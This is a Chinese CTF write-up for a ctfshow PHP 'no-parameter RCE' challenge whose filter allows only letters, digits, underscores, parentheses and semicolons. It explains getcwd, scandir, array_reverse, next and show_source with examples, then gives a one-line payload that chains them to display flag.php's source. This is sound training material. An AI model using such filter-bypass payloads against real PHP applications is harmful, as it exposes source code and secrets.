ctfshow 一句话木马变形| 无参数rce|绕过|
Only letters, numbers, underscores ,parentheses and semicolons are allowed.
题目只允许使用字母、数字、下划线、括号和分号
一、getcwd()函数
在 PHP 中,getcwd() 是用于获取当前工作目录(Current Working Directory)的内置函数,它返回脚本执行时的当前目录路径,是文件系统操作中常用的基础函数。

二、scandir()函数
在 PHP 中,scandir() 是用于扫描指定目录并返回该目录下所有文件 / 子目录名称的内置函数,是目录遍历的核心函数之一,常与 getcwd()、 __DIR__ 等配合使用。
示例 1:基础使用(扫描当前目录)
<?php
// 扫描当前工作目录
$dir = getcwd();
$files = scandir($dir);
if ($files === false) {
echo "目录扫描失败!";
} else {
print_r($files);
}
输出示例(Linux 环境,当前目录有 test.php、data 目录):
Array
(
[0] => .
[1] => ..
[2] => data
[3] => test.php
)
注意到,这里scandir()函数返回的路径是一个数组的形式,而且前两个元素是.和..,因此我们考虑进行array_reverse
三、array_reverse()函数

在 PHP 中,array_reverse() 是用于反转数组元素顺序的内置函数,它会返回一个新的反转后的数组(默认不改变原数组),常配合数组遍历、数据展示等场景使用

示例 1:基础使用(索引数组,默认不保留键名)
<?php
$original = [10, 20, 30, 40];
$reversed = array_reverse($original);
echo "原数组:";
print_r($original); // 原数组不变:[10,20,30,40]
echo "反转后数组:";
print_r($reversed); // 输出:[40,30,20,10](索引重置为 0,1,2,3)
?>
示例 2:保留原数组键名
<?php
$original = [
'a' => 'apple',
'b' => 'banana',
'c' => 'cherry'
];
// 保留键名反转
$reversed = array_reverse($original, true);
print_r($reversed);
?>
输出:
(
[c] => cherry
[b] => banana
[a] => apple
)
示例 4:多维数组(仅反转外层)
<?php
$original = [
['name' => 'Alice', 'age' => 20],
['name' => 'Bob', 'age' => 25]
];
$reversed = array_reverse($original);
print_r($reversed);
?>
输出(外层反转,内层不变):
Array
(
[0] => Array
(
[name] => Bob
[age] => 25
)
[1] => Array
(
[name] => Alice
[age] => 20
)
)
五、next()函数

| 函数 | 作用 |
|---|---|
| current() | 获取当前指针位置的元素值(不移动指针) |
| next() | 指针移到下一个元素,返回该元素值 |
| prev() | 指针移到上一个元素,返回该元素值 |
| end() | 指针移到最后一个元素,返回该元素值 |
| reset() | 指针重置到第一个元素,返回该元素值 |
| key() | 获取当前指针位置的元素键名 |
六、show_source()函数
在 PHP 中,show_source() 是用于高亮显示指定 PHP 文件的源代码的内置函数(与 highlight_file() 完全等价,是其别名),核心作用是将文件内容以 HTML 格式输出,并对 PHP 语法进行彩色高亮,常用于调试、代码展示场景。
<?php
// 展示当前脚本自身的源代码(高亮输出)
$file = __FILE__; // __FILE__ 表示当前文件的完整路径
$result = show_source($file);
// 验证是否成功
if (!$result) {
echo "展示源代码失败:" . error_get_last()['message'];
}
?>
示例 2:返回高亮内容(不直接输出)
<?php
$file = __DIR__ . '/test.php';
// 返回高亮后的 HTML 字符串
$highlighted = show_source($file, true);
if ($highlighted !== false) {
// 自定义包裹样式后输出
echo "<div style='border: 1px solid #ccc; padding: 10px;'>" . $highlighted . "</div>";
} else {
echo "文件不存在或无权限!";
}
?>
---------------做题

发现flag.php路径

payload如下:
show_source(next(array_reverse(scandir(getcwd()))));


浙公网安备 33010602011771号